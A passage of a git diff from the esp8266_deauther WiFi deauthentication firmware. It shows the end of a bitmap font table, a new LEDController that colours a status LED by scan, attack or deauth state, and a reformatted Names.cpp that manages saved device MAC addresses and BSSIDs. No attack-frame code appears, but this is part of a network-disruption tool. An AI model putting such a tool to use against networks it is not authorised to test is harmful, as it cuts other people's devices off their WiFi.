0xE8, 0x00, 0xB8, // 178 + 0x00, 0x00, 0x00, 0x00, 0x88, 0x00, 0xA8, 0x00, 0xA8, 0x00, 0xD8, // 179 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x04, // 180 + 0x00, 0x00, 0xE0, 0x7F, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0xE0, 0x0F, 0x00, 0x08, // 181 + 0x00, 0x00, 0x70, 0x00, 0xF8, 0x00, 0xF8, 0x00, 0xF8, 0x1F, 0x08, 0x00, 0xF8, 0x1F, // 182 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x01, // 183 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x20, 0x00, 0x30, // 184 + 0x00, 0x00, 0x00, 0x00, 0x88, 0x00, 0xF8, 0x00, 0x80, // 185 + 0x00, 0x00, 0x70, 0x02, 0x88, 0x02, 0x88, 0x02, 0x70, 0x02, // 186 + 0x00, 0x00, 0x40, 0x04, 0x80, 0x02, 0x00, 0x01, 0x40, 0x04, 0x80, 0x02, 0x00, 0x01, // 187 + 0x44, 0x02, 0x7C, 0x03, 0x40, 0x01, 0x00, 0x0D, 0x80, 0x0B, 0x80, 0x1F, 0x00, 0x08, // 188 + 0x44, 0x02, 0x7C, 0x03, 0x40, 0x01, 0x00, 0x11, 0x80, 0x1D, 0x80, 0x17, // 189 + 0x00, 0x02, 0x44, 0x03, 0x54, 0x01, 0x54, 0x0D, 0xEC, 0x0B, 0x80, 0x1F, 0x00, 0x08, // 190 + 0x00, 0x38, 0x00, 0x4C, 0x00, 0x44, 0x60, 0x43, 0x00, 0x20, // 191 + 0x00, 0x00, 0x00, 0x0C, 0xC1, 0x03, 0x3A, 0x02, 0x38, 0x02, 0xC0, 0x03, 0x00, 0x0C, // 192 + 0x00, 0x00, 0x00, 0x0C, 0xC0, 0x03, 0x3A, 0x02, 0x39, 0x02, 0xC0, 0x03, 0x00, 0x0C, // 193 + 0x00, 0x00, 0x00, 0x0C, 0xC2, 0x03, 0x39, 0x02, 0x39, 0x02, 0xC2, 0x03, 0x00, 0x0C, // 194 + 0x00, 0x00, 0x00, 0x0C, 0xC3, 0x03, 0x39, 0x02, 0x3A, 0x02, 0xC3, 0x03, 0x00, 0x0C, // 195 + 0x00, 0x00, 0x00, 0x0C, 0xC2, 0x03, 0x38, 0x02, 0x38, 0x02, 0xC2, 0x03, 0x00, 0x0C, // 196 + 0x00, 0x00, 0x00, 0x08, 0x00, 0x07, 0xFE, 0x02, 0xE6, 0x02, 0x00, 0x07, 0x00, 0x08, // 197 + 0x00, 0x0C, 0x80, 0x03, 0x78, 0x02, 0x08, 0x02, 0xF8, 0x0F, 0x88, 0x08, 0x88, 0x08, // 198 + 0x00, 0x00, 0xE0, 0x03, 0x10, 0x04, 0x08, 0x28, 0x08, 0x28, 0x08, 0x38, 0x10, 0x04, // 199 + 0x00, 0x00, 0xF8, 0x0F, 0x89, 0x08, 0x8A, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, // 200 + 0x00, 0x00, 0xF8, 0x0F, 0x88, 0x08, 0x8A, 0x08, 0x89, 0x08, 0x88, 0x08, 0x88, 0x08, // 201 + 0x00, 0x00, 0xF8, 0x0F, 0x8A, 0x08, 0x89, 0x08, 0x89, 0x08, 0x8A, 0x08, 0x88, 0x08, // 202 + 0x00, 0x00, 0xF8, 0x0F, 0x8A, 0x08, 0x88, 0x08, 0x8A, 0x08, 0x88, 0x08, 0x88, 0x08, // 203 + 0x00, 0x00, 0x08, 0x08, 0x09, 0x08, 0xFA, 0x0F, 0x08, 0x08, 0x08, 0x08, // 204 + 0x00, 0x00, 0x08, 0x08, 0x08, 0x08, 0xFA, 0x0F, 0x09, 0x08, 0x08, 0x08, // 205 + 0x00, 0x00, 0x08, 0x08, 0x0A, 0x08, 0xF9, 0x0F, 0x0A, 0x08, 0x08, 0x08, // 206 + 0x00, 0x00, 0x08, 0x08, 0x0A, 0x08, 0xF8, 0x0F, 0x0A, 0x08, 0x08, 0x08, // 207 + 0x80, 0x00, 0xF8, 0x0F, 0x88, 0x08, 0x88, 0x08, 0x08, 0x08, 0x10, 0x04, 0xE0, 0x03, // 208 + 0x00, 0x00, 0xF8, 0x0F, 0x1B, 0x00, 0xE1, 0x00, 0x82, 0x03, 0x03, 0x0C, 0xF8, 0x0F, // 209 + 0x00, 0x00, 0xE0, 0x03, 0x19, 0x0C, 0x0A, 0x08, 0x08, 0x08, 0x18, 0x0C, 0xE0, 0x03, // 210 + 0x00, 0x00, 0xE0, 0x03, 0x18, 0x0C, 0x0A, 0x08, 0x09, 0x08, 0x18, 0x0C, 0xE0, 0x03, // 211 + 0x00, 0x00, 0xE0, 0x03, 0x1A, 0x0C, 0x09, 0x08, 0x09, 0x08, 0x1A, 0x0C, 0xE0, 0x03, // 212 + 0x00, 0x00, 0xE0, 0x03, 0x1B, 0x0C, 0x09, 0x08, 0x0A, 0x08, 0x1B, 0x0C, 0xE0, 0x03, // 213 + 0x00, 0x00, 0xE0, 0x03, 0x1A, 0x0C, 0x08, 0x08, 0x08, 0x08, 0x1A, 0x0C, 0xE0, 0x03, // 214 + 0x00, 0x00, 0x20, 0x02, 0x40, 0x01, 0x80, 0x00, 0x40, 0x01, 0x20, 0x02, // 215 + 0x00, 0x08, 0xE0, 0x07, 0x18, 0x0E, 0x88, 0x09, 0x48, 0x08, 0x38, 0x0C, 0xF8, 0x03, // 216 + 0x00, 0x00, 0xF8, 0x07, 0x01, 0x08, 0x02, 0x08, 0x00, 0x08, 0x00, 0x08, 0xF8, 0x07, // 217 + 0x00, 0x00, 0xF8, 0x07, 0x00, 0x08, 0x02, 0x08, 0x01, 0x08, 0x00, 0x08, 0xF8, 0x07, // 218 + 0x00, 0x00, 0xF8, 0x07, 0x02, 0x08, 0x01, 0x08, 0x01, 0x08, 0x02, 0x08, 0xF8, 0x07, // 219 + 0x00, 0x00, 0xF8, 0x07, 0x02, 0x08, 0x00, 0x08, 0x00, 0x08, 0x02, 0x08, 0xF8, 0x07, // 220 + 0x08, 0x00, 0x10, 0x00, 0x60, 0x00, 0x82, 0x0F, 0x61, 0x00, 0x10, 0x00, 0x08, // 221 + 0x00, 0x00, 0xF8, 0x0F, 0x10, 0x01, 0x10, 0x01, 0x10, 0x01, 0x10, 0x01, 0xE0, // 222 + 0x00, 0x00, 0xF8, 0x0F, 0xE4, 0x00, 0xA4, 0x09, 0x18, 0x09, 0x00, 0x06, // 223 + 0x00, 0x00, 0x40, 0x06, 0x20, 0x09, 0x24, 0x09, 0x28, 0x09, 0xC0, 0x0F, // 224 + 0x00, 0x00, 0x40, 0x06, 0x20, 0x09, 0x28, 0x09, 0x24, 0x09, 0xC0, 0x0F, // 225 + 0x00, 0x00, 0x40, 0x06, 0x28, 0x09, 0x24, 0x09, 0x24, 0x09, 0xC8, 0x0F, // 226 + 0x00, 0x00, 0x40, 0x06, 0x2C, 0x09, 0x24, 0x09, 0x28, 0x09, 0xCC, 0x0F, // 227 + 0x00, 0x00, 0x40, 0x06, 0x28, 0x09, 0x20, 0x09, 0x28, 0x09, 0xC0, 0x0F, // 228 + 0x00, 0x00, 0x40, 0x06, 0x26, 0x09, 0x29, 0x09, 0x29, 0x09, 0xC6, 0x0F, // 229 + 0x00, 0x00, 0x40, 0x0F, 0x20, 0x09, 0xC0, 0x07, 0x20, 0x09, 0xE0, 0x09, // 230 + 0x00, 0x00, 0xC0, 0x07, 0x60, 0x0C, 0x20, 0x28, 0x20, 0x28, 0x40, 0x38, // 231 + 0x00, 0x00, 0xC0, 0x07, 0x60, 0x09, 0x24, 0x09, 0x28, 0x09, 0xC0, 0x05, // 232 + 0x00, 0x00, 0xC0, 0x07, 0x60, 0x09, 0x28, 0x09, 0x24, 0x09, 0xC0, 0x05, // 233 + 0x00, 0x00, 0xC0, 0x07, 0x68, 0x09, 0x24, 0x09, 0x24, 0x09, 0xC8, 0x05, // 234 + 0x00, 0x00, 0xC0, 0x07, 0x68, 0x09, 0x20, 0x09, 0x28, 0x09, 0xC0, 0x05, // 235 + 0x00, 0x00, 0x20, 0x08, 0x20, 0x08, 0xE4, 0x0F, 0x08, 0x08, 0x00, 0x08, // 236 + 0x00, 0x00, 0x20, 0x08, 0x20, 0x08, 0xE8, 0x0F, 0x04, 0x08, 0x00, 0x08, // 237 + 0x00, 0x00, 0x28, 0x08, 0x24, 0x08, 0xE4, 0x0F, 0x08, 0x08, 0x00, 0x08, // 238 + 0x00, 0x00, 0x20, 0x08, 0x28, 0x08, 0xE0, 0x0F, 0x08, 0x08, 0x00, 0x08, // 239 + 0x00, 0x00, 0x80, 0x07, 0x54, 0x08, 0x58, 0x08, 0x68, 0x08, 0xC0, 0x07, // 240 + 0x00, 0x00, 0xE0, 0x0F, 0x4C, 0x00, 0x24, 0x00, 0x28, 0x00, 0xCC, 0x0F, // 241 + 0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x24, 0x08, 0x28, 0x08, 0xC0, 0x07, // 242 + 0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x28, 0x08, 0x24, 0x08, 0xC0, 0x07, // 243 + 0x00, 0x00, 0xC0, 0x07, 0x28, 0x08, 0x24, 0x08, 0x28, 0x08, 0xC0, 0x07, // 244 + 0x00, 0x00, 0xCC, 0x07, 0x24, 0x08, 0x2C, 0x08, 0x28, 0x08, 0xCC, 0x07, // 245 + 0x00, 0x00, 0xC0, 0x07, 0x28, 0x08, 0x20, 0x08, 0x28, 0x08, 0xC0, 0x07, // 246 + 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x40, 0x05, 0x00, 0x01, 0x00, 0x01, // 247 + 0x00, 0x00, 0xC0, 0x0F, 0x20, 0x0A, 0x20, 0x09, 0xA0, 0x08, 0xE0, 0x07, // 248 + 0x00, 0x00, 0xE0, 0x07, 0x00, 0x08, 0x04, 0x08, 0x08, 0x08, 0xE0, 0x0F, // 249 + 0x00, 0x00, 0xE0, 0x07, 0x00, 0x08, 0x08, 0x08, 0x04, 0x08, 0xE0, 0x0F, // 250 + 0x00, 0x00, 0xE0, 0x07, 0x08, 0x08, 0x04, 0x08, 0x08, 0x08, 0xE0, 0x0F, // 251 + 0x00, 0x00, 0xE0, 0x07, 0x08, 0x08, 0x00, 0x08, 0x08, 0x08, 0xE0, 0x0F, // 252 + 0x00, 0x00, 0x60, 0x40, 0x80, 0x67, 0x08, 0x1C, 0x84, 0x03, 0x60, // 253 + 0x00, 0x00, 0xFC, 0x7F, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xC0, 0x07, // 254 + 0x00, 0x00, 0x60, 0x40, 0x88, 0x67, 0x00, 0x1C, 0x88, 0x03, 0x60 // 255 }; -#endif - +#endif // ifndef DisplayUI_h \ No newline at end of file diff --git a/esp8266_deauther/LEDController.cpp b/esp8266_deauther/LEDController.cpp new file mode 100644 index 0000000..d52ca09 --- /dev/null +++ b/esp8266_deauther/LEDController.cpp @@ -0,0 +1,103 @@ +#include "LEDController.h" + +LEDController::LEDController() {} + +LEDController::~LEDController() { + if (led) delete led; +} + +void LEDController::setup() { + #ifdef DIGITAL_LED + led = new DigitalLED(LED_PIN_R, LED_PIN_G, LED_PIN_B, LED_ANODE); + led->setup(); + return; + + #endif // ifdef DIGITAL_LED + + #ifdef RGB_LED + led = new AnalogRGBLED(LED_PIN_R, LED_PIN_G, LED_PIN_B, LED_MODE_BRIGHTNESS, LED_ANODE); + led->setup(); + return; + + #endif // ifdef RGB_LED + + #ifdef NEOPIXEL_LED + led = new NeopixelLED(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, LED_MODE_BRIGHTNESS); + led->setup(); + return; + + #endif // ifdef NEOPIXEL_LED + + prntln(L_NOT_CONFIGURED); +} + +void LEDController::update() { + if (!tempEnabled || !led) return; + + if (!settings.getLedEnabled() && tempEnabled) tempDisable(); + + if (scan.isScanning() && (scan.deauths < settings.getMinDeauths())) setMode(LED_MODE::SCAN, false); + else if (scan.deauths >= settings.getMinDeauths()) setMode(LED_MODE::DEAUTH, false); + else if (attack.isRunning()) setMode(LED_MODE::ATTACK, false); + else setMode(LED_MODE::IDLE, false); +} + +void LEDController::setMode(uint8_t mode, bool force) { + if (!led) return; + + if ((mode != LEDController::mode) || force) { + LEDController::mode = mode; + + switch (mode) { + case LED_MODE::OFF: + led->setColor(0, 0, 0); + break; + + case LED_MODE::SCAN: + led->setColor(0, 0, 255); + break; + + case LED_MODE::ATTACK: + led->setColor(255, 255, 0); + break; + + case LED_MODE::DEAUTH: + led->setColor(255, 0, 0); + break; + + case LED_MODE::IDLE: + led->setColor(0, 255, 0); + break; + } + } +} + +void LEDController::setColor(uint8_t r, uint8_t g, uint8_t b, bool output) { + // debug output + if (output) { + char s[30]; + sprintf_P(s, L_OUTPUT, r, g, b); + prnt(String(s)); + } + + led->setColor(r, g, b); +} + +void LEDController::setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output) { + led->setBrightness(brightness); + setColor(r, g, b, output); +} + +void LEDController::tempEnable() { + tempEnabled = true; + prntln(L_ENABLED); +} + +void LEDController::tempDisable() { + tempEnabled = false; + prntln(L_DISABLED); +} + +bool LEDController::getTempEnabled() { + return tempEnabled; +} \ No newline at end of file diff --git a/esp8266_deauther/LEDController.h b/esp8266_deauther/LEDController.h new file mode 100644 index 0000000..889a783 --- /dev/null +++ b/esp8266_deauther/LEDController.h @@ -0,0 +1,49 @@ +#ifndef LEDController_h +#define LEDController_h + +#include "Arduino.h" +extern "C" { + #include "user_interface.h" +} +#include "language.h" +#include "A_config.h" +#include "Settings.h" +#include "Attack.h" +#include "Scan.h" + +#include "StatusLED.h" +#include "DigitalLED.h" +#include "NeopixelLED.h" +#include "AnalogRGBLED.h" + +extern Settings settings; +extern Attack attack; +extern Scan scan; +extern Stations stations; + +class LEDController { + public: + enum LED_MODE { OFF = 0, SCAN = 1, ATTACK = 2, DEAUTH = 3, IDLE = 4 }; + + LEDController(); + ~LEDController(); + + void setup(); + void update(); + + void setMode(uint8_t mode, bool force); + + void setColor(uint8_t r, uint8_t g, uint8_t b, bool output); + void setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output); + + void tempEnable(); + void tempDisable(); + bool getTempEnabled(); + + private: + bool tempEnabled = true; + uint8_t mode = LED_MODE::OFF; + StatusLED* led = NULL; +}; + +#endif // ifndef LEDController_h \ No newline at end of file diff --git a/esp8266_deauther/Names.cpp b/esp8266_deauther/Names.cpp index 98a19bf..b9d5d02 100644 --- a/esp8266_deauther/Names.cpp +++ b/esp8266_deauther/Names.cpp @@ -1,483 +1,508 @@ #include "Names.h" Names::Names() { - list = new SimpleList; + list = new SimpleList; } void Names::load() { - internal_removeAll(); + internal_removeAll(); - DynamicJsonBuffer jsonBuffer(4000); + DynamicJsonBuffer jsonBuffer(4000); - checkFile(FILE_PATH, String(OPEN_BRACKET) + String(CLOSE_BRACKET)); - JsonArray &arr = parseJSONFile(FILE_PATH, jsonBuffer); + checkFile(FILE_PATH, String(OPEN_BRACKET) + String(CLOSE_BRACKET)); + JsonArray& arr = parseJSONFile(FILE_PATH, jsonBuffer); - for (uint32_t i = 0; i < arr.size() && i < NAME_LIST_SIZE; i++) { - JsonArray &tmpArray = arr.get(i); - internal_add(tmpArray.get(0), tmpArray.get(2), tmpArray.get(3), tmpArray.get(4), false); - sort(); - } + for (uint32_t i = 0; i < arr.size() && i < NAME_LIST_SIZE; i++) { + JsonArray& tmpArray = arr.get(i); + internal_add(tmpArray.get(0), tmpArray.get(2), tmpArray.get(3), tmpArray.get( + 4), false); + sort(); + } - prnt(N_LOADED); - prntln(FILE_PATH); + prnt(N_LOADED); + prntln(FILE_PATH); } void Names::load(String filepath) { - String tmp = FILE_PATH; - FILE_PATH = filepath; - load(); - FILE_PATH = tmp; + String tmp = FILE_PATH; + + FILE_PATH = filepath; + load(); + FILE_PATH = tmp; } void Names::save(bool force) { - if (!force && !changed) { - return; - prntln(N_SAVED); - } + if (!force && !changed) { + return; - String buf = String(OPEN_BRACKET); // [ + prntln(N_SAVED); + } - if (!writeFile(FILE_PATH, buf)) { - prnt(F_ERROR_SAVING); - prntln(FILE_PATH); - return; - } + String buf = String(OPEN_BRACKET); // [ - buf = String(); - - String name; - int c = count(); - - for (int i = 0; i < c; i++) { - name = escape(getName(i)); - - buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + getMacStr(i) + String(DOUBLEQUOTES) + String(COMMA); // ["00:11:22:00:11:22", - buf += String(DOUBLEQUOTES) + getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor", - buf += String(DOUBLEQUOTES) + name + String(DOUBLEQUOTES) + String(COMMA); // "name", - buf += String(DOUBLEQUOTES) + getBssidStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "00:11:22:00:11:22", - buf += String(getCh(i)) + String(COMMA); // 1, - buf += b2s(getSelected(i)) + String(CLOSE_BRACKET); // false] - if(i < c-1) buf += COMMA; // , - - if(buf.length() >= 1024){ - if (!appendFile(FILE_PATH, buf)) { + if (!writeFile(FILE_PATH, buf)) { prnt(F_ERROR_SAVING); prntln(FILE_PATH); return; - } - - buf = String(); } - } - buf += String(CLOSE_BRACKET); // ] + buf = String(); - if (!appendFile(FILE_PATH, buf)) { - prnt(F_ERROR_SAVING); + String name; + int c = count(); + + for (int i = 0; i < c; i++) { + name = escape(getName(i)); + + buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + getMacStr(i) + String(DOUBLEQUOTES) + String(COMMA); // ["00:11:22:00:11:22", + buf += String(DOUBLEQUOTES) + getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor", + buf += String(DOUBLEQUOTES) + name + String(DOUBLEQUOTES) + String(COMMA); // "name", + buf += String(DOUBLEQUOTES) + getBssidStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "00:11:22:00:11:22", + buf += String(getCh(i)) + String(COMMA); // 1, + buf += b2s(getSelected(i)) + String(CLOSE_BRACKET); // false] + + if (i < c - 1) buf += COMMA; // , + + if (buf.length() >= 1024) { + if (!appendFile(FILE_PATH, buf)) { + prnt(F_ERROR_SAVING); + prntln(FILE_PATH); + return; + } + + buf = String(); + } + } + + buf += String(CLOSE_BRACKET); // ] + + if (!appendFile(FILE_PATH, buf)) { + prnt(F_ERROR_SAVING); + prntln(FILE_PATH); + return; + } + + prnt(N_SAVED); prntln(FILE_PATH); - return; - } - - prnt(N_SAVED); - prntln(FILE_PATH); - changed = false; + changed = false; } void Names::save(bool force, String filepath) { - String tmp = FILE_PATH; - FILE_PATH = filepath; - save(force); - FILE_PATH = tmp; + String tmp = FILE_PATH; + + FILE_PATH = filepath; + save(force); + FILE_PATH = tmp; } void Names::sort() { - list->sort([](Device & a, Device & b) -> bool{ - return memcmp(a.mac, b.mac, 6) > 0; - }); + list->sort([](Device& a, Device& b) -> bool { + return memcmp(a.mac, b.mac, 6) > 0; + }); } void Names::removeAll() { - internal_removeAll(); - prntln(N_REMOVED_ALL); - changed = true; + internal_removeAll(); + prntln(N_REMOVED_ALL); + changed = true; } bool Names::check(int num) { - if (internal_check(num)) return true; - prnt(N_ERROR_NOT_FOUND); - prntln(num); - return false; + if (internal_check(num)) return true; + + prnt(N_ERROR_NOT_FOUND); + prntln(num); + return false; } int Names::findID(uint8_t* mac) { - return list->binSearch([mac](Device &a) -> int{ - return memcmp(mac, a.mac, 6); - },0,count()-1); + return list->binSearch([mac](Device& a) -> int { + return memcmp(mac, a.mac, 6); + }); } String Names::find(uint8_t* mac) { - int num = findID(mac); - if (num >= 0) - return getName(num); - else - return String(); + int num = findID(mac); + + if (num >= 0) return getName(num); + else return String(); } void Names::print(int num) { - print(num, true, true); + print(num, true, true); } void Names::print(int num, bool header, bool footer) { - if (!check(num)) return; - if (header) { - prntln(N_TABLE_HEADER); - prntln(N_TABLE_DIVIDER); - } + if (!check(num)) return; - prnt(buildString(String(), (String)num, 2)); - prnt(buildString(String(SPACE) + getMacStr(num), String(), 18)); - prnt(buildString(String(SPACE) + getVendorStr(num), String(), 9)); - prnt(buildString(String(SPACE) + getName(num), String(), 17)); - prnt(buildString(String(SPACE) + getBssidStr(num), String(), 18)); - prnt(buildString(String(SPACE), (String)getCh(num), 3)); - prntln(buildString(String(SPACE) + getSelectedStr(num), String(), 9)); + if (header) { + prntln(N_TABLE_HEADER); + prntln(N_TABLE_DIVIDER); + } - if (footer) - prntln(N_TABLE_DIVIDER); + prnt(buildString(String(), (String)num, 2)); + prnt(buildString(String(SPACE) + getMacStr(num), String(), 18)); + prnt(buildString(String(SPACE) + getVendorStr(num), String(), 9)); + prnt(buildString(String(SPACE) + getName(num), String(), 17)); + prnt(buildString(String(SPACE) + getBssidStr(num), String(), 18)); + prnt(buildString(String(SPACE), (String)getCh(num), 3)); + prntln(buildString(String(SPACE) + getSelectedStr(num), String(), 9)); + + if (footer) prntln(N_TABLE_DIVIDER); } void Names::printAll() { - prntln(N_HEADER); - int c = count(); - if (c == 0) - prntln(N_ERROR_LIST_EMPTY); - else - for (int i = 0; i < c; i++) - print(i, i == 0, i == c - 1); + prntln(N_HEADER); + int c = count(); + + if (c == 0) prntln(N_ERROR_LIST_EMPTY); + else + for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1); } void Names::printSelected() { - prntln(N_TABLE_HEADER); - int max = selected(); - int c = count(); - - if (max == 0) { - prntln(N_ERROR_NO_SELECTED); - return; - } + prntln(N_TABLE_HEADER); + int max = selected(); + int c = count(); - for (int i = 0, j = 0; i < c && j < max; i++) { - if (getSelected(i)) { - print(i, j == 0, j == max - 1); - j++; + if (max == 0) { + prntln(N_ERROR_NO_SELECTED); + return; + } + + for (int i = 0, j = 0; i < c && j < max; i++) { + if (getSelected(i)) { + print(i, j == 0, j == max - 1); + j++; + } } - } } void Names::add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected, bool force) { - if (count() >= NAME_LIST_SIZE) { - if (force) - internal_remove(0); - else { - prntln(N_ERROR_LIST_FULL); - return; + if (count() >= NAME_LIST_SIZE) { + if (force) internal_remove(0); + else { + prntln(N_ERROR_LIST_FULL); + return; + } } - } - if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH); + if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH); - internal_add(mac, name, bssid, ch, selected); - sort(); + internal_add(mac, name, bssid, ch, selected); + sort(); - prnt(N_ADDED); - prntln(name); - changed = true; + prnt(N_ADDED); + prntln(name); + changed = true; } void Names::add(String macStr, String name, String bssidStr, uint8_t ch, bool selected, bool force) { - if (count() >= NAME_LIST_SIZE) { - if (force) - internal_remove(0); - else { - prntln(N_ERROR_LIST_FULL); - return; + if (count() >= NAME_LIST_SIZE) { + if (force) internal_remove(0); + else { + prntln(N_ERROR_LIST_FULL); + return; + } } - } - if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH); + if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH); - internal_add(macStr, name, bssidStr, ch, selected); - sort(); + internal_add(macStr, name, bssidStr, ch, selected); + sort(); - prnt(N_ADDED); - prntln(name); - changed = true; + prnt(N_ADDED); + prntln(name); + changed = true; } -void Names::replace(int num, String macStr, String name, String bssidStr, uint8_t ch, bool selected){ - if (!check(num)) return; - remove(num); - - internal_add(macStr, name, bssidStr, ch, selected); - sort(); - prnt(N_REPLACED); - prntln(name); - changed = true; +void Names::replace(int num, String macStr, String name, String bssidStr, uint8_t ch, bool selected) { + if (!check(num)) return; + + remove(num); + + internal_add(macStr, name, bssidStr, ch, selected); + sort(); + prnt(N_REPLACED); + prntln(name); + changed = true; } void Names::remove(int num) { - if (!check(num)) return; - prnt(N_REMOVED); - prntln(getName(num)); - internal_remove(num); - changed = true; + if (!check(num)) return; + + prnt(N_REMOVED); + prntln(getName(num)); + internal_remove(num); + changed = true; } void Names::setName(int num, String name) { - if (!check(num)) return; - internal_add(getMac(num), name, getBssid(num), getCh(num), getSelected(num)); - - prntln(N_CHANGED_NAME); - - internal_remove(num); - sort(); - changed = true; + if (!check(num)) return; + + internal_add(getMac(num), name, getBssid(num), getCh(num), getSelected(num)); + + prntln(N_CHANGED_NAME); + + internal_remove(num); + sort(); + changed = true; } void Names::setMac(int num, String macStr) { - if (!check(num)) return; - uint8_t mac[6]; - strToMac(macStr, mac); - internal_add(mac, getName(num), getBssid(num), getCh(num), getSelected(num)); - prntln(N_CHANGED_MAC); - internal_remove(num); - sort(); - changed = true; + if (!check(num)) return; + + uint8_t mac[6]; + strToMac(macStr, mac); + internal_add(mac, getName(num), getBssid(num), getCh(num), getSelected(num)); + prntln(N_CHANGED_MAC); + internal_remove(num); + sort(); + changed = true; } void Names::setCh(int num, uint8_t ch) { - if (!check(num)) return; - internal_add(getMac(num), getName(num), getBssid(num), ch, getSelected(num)); - prntln(N_CHANGED_CH); - internal_remove(num); - sort(); - changed = true; + if (!check(num)) return; + + internal_add(getMac(num), getName(num), getBssid(num), ch, getSelected(num)); + prntln(N_CHANGED_CH); + internal_remove(num); + sort(); + changed = true; } void Names::setBSSID(int num, String bssidStr) { - if (!check(num)) return; - uint8_t mac[6]; - strToMac(bssidStr, mac); - internal_add(getMac(num), getName(num), mac, getCh(num), getSelected(num)); - prntln(N_CHANGED_BSSID); - internal_remove(num); - sort(); - changed = true; + if (!check(num)) return; + + uint8_t mac[6]; + strToMac(bssidStr, mac); + internal_add(getMac(num), getName(num), mac, getCh(num), getSelected(num)); + prntln(N_CHANGED_BSSID); + internal_remove(num); + sort(); + changed = true; } void Names::select(int num) { - if (!check(num)) return; - internal_select(num); - prnt(N_SELECTED); - prntln(getName(num)); - changed = true; + if (!check(num)) return; + + internal_select(num); + prnt(N_SELECTED); + prntln(getName(num)); + changed = true; } void Names::select(String name) { - int c = count(); - for (int i = 0; i < c; i++) { - if (getName(i).equals(name)) { - select(i); - return; + int c = count(); + + for (int i = 0; i < c; i++) { + if (getName(i).equals(name)) { + select(i); + return; + } } - } - prnt(N_ERROR_NOT_FOUND); - prntln(name); + prnt(N_ERROR_NOT_FOUND); + prntln(name); } void Names::deselect(int num) { - if (!check(num)) return; - internal_deselect(num); - prnt(N_DESELECTED); - prntln(getName(num)); - changed = true; + if (!check(num)) return; + + internal_deselect(num); + prnt(N_DESELECTED); + prntln(getName(num)); + changed = true; } void Names::deselect(String name) { - int c = count(); - for (int i = 0; i < c; i++) { - if (getName(i).equals(name)) { - deselect(i); - return; + int c = count(); + + for (int i = 0; i < c; i++) { + if (getName(i).equals(name)) { + deselect(i); + return; + } } - } - prnt(N_ERROR_NOT_FOUND); - prnt(name); + prnt(N_ERROR_NOT_FOUND); + prnt(name); } void Names::selectAll() { - int c = count(); - for (int i = 0; i < c; i++) - internal_select(i); - prntln(N_SELECTED_ALL); + int c = count(); + + for (int i = 0; i < c; i++) internal_select(i); + prntln(N_SELECTED_ALL); } void Names::deselectAll() { - int c = count(); - for (int i = 0; i < c; i++) - internal_deselect(i); - prntln(N_DESELECTED_ALL); + int c = count(); + + for (int i = 0; i < c; i++) internal_deselect(i); + prntln(N_DESELECTED_ALL); } uint8_t* Names::getMac(int num) { - if (!check(num)) return NULL; - return list->get(num).mac; + if (!check(num)) return NULL; + + return list->get(num).mac; } uint8_t* Names::getBssid(int num) { - if (!check(num)) return NULL; - return list->get(num).apBssid; + if (!check(num)) return NULL; + + return list->get(num).apBssid; } String Names::getMacStr(int num) { - if (!check(num)) return String(); - uint8_t* mac = getMac(num); - return bytesToStr(mac, 6); + if (!check(num)) return String(); + + uint8_t* mac = getMac(num); + return bytesToStr(mac, 6); } String Names::getVendorStr(int num) { - if (!check(num)) return String(); - return searchVendor(list->get(num).mac); + if (!check(num)) return String(); + + return searchVendor(list->get(num).mac); } String Names::getBssidStr(int num) { - String value; - if (getBssid(num) != NULL) { - uint8_t* mac = getBssid(num); - for (int i = 0; i < 6; i++) { - if (mac[i] < 0x10) value += ZERO; - value += String(mac[i], HEX); - if (i < 5) value += DOUBLEPOINT; + String value; + + if (getBssid(num) != NULL) { + uint8_t* mac = getBssid(num); + + for (int i = 0; i < 6; i++) { + if (mac[i] < 0x10) value += ZERO; + value += String(mac[i], HEX); + + if (i < 5) value += DOUBLEPOINT; + } } - } - return value; + return value; } String Names::getName(int num) { - if (!check(num)) return String(); - return String(list->get(num).name); + if (!check(num)) return String(); + + return String(list->get(num).name); } String Names::getSelectedStr(int num) { - return b2a(getSelected(num)); + return b2a(getSelected(num)); } uint8_t Names::getCh(int num) { - if (!check(num)) return 1; - return list->get(num).ch; + if (!check(num)) return 1; + + return list->get(num).ch; } bool Names::getSelected(int num) { - if (!check(num)) return false; - return list->get(num).selected; + if (!check(num)) return false; + + return list->get(num).selected; } bool Names::isStation(int num) { - return getBssid(num) != NULL; + return getBssid(num) != NULL; } int Names::count() { - return list->size(); + return list->size(); } int Names::selected() { - int num = 0; - for (int i = 0; i < count(); i++) - if (getSelected(i)) num++; - return num; + int num = 0; + + for (int i = 0; i < count(); i++) + if (getSelected(i)) num++; + return num; } int Names::stations() { - int num = 0; - for (int i = 0; i < count(); i++) - if (isStation(i)) num++; - return num; + int num = 0; + + for (int i = 0; i < count(); i++) + if (isStation(i)) num++; + return num; } bool Names::internal_check(int num) { - return num >= 0 && num < count(); + return num >= 0 && num < count(); } void Names::internal_select(int num) { - Device newDevice = list->get(num); - newDevice.selected = true; - list->replace(num, newDevice); + Device newDevice = list->get(num); + + newDevice.selected = true; + list->replace(num, newDevice); } void Names::internal_deselect(int num) { - Device newDevice = list->get(num); - newDevice.selected = 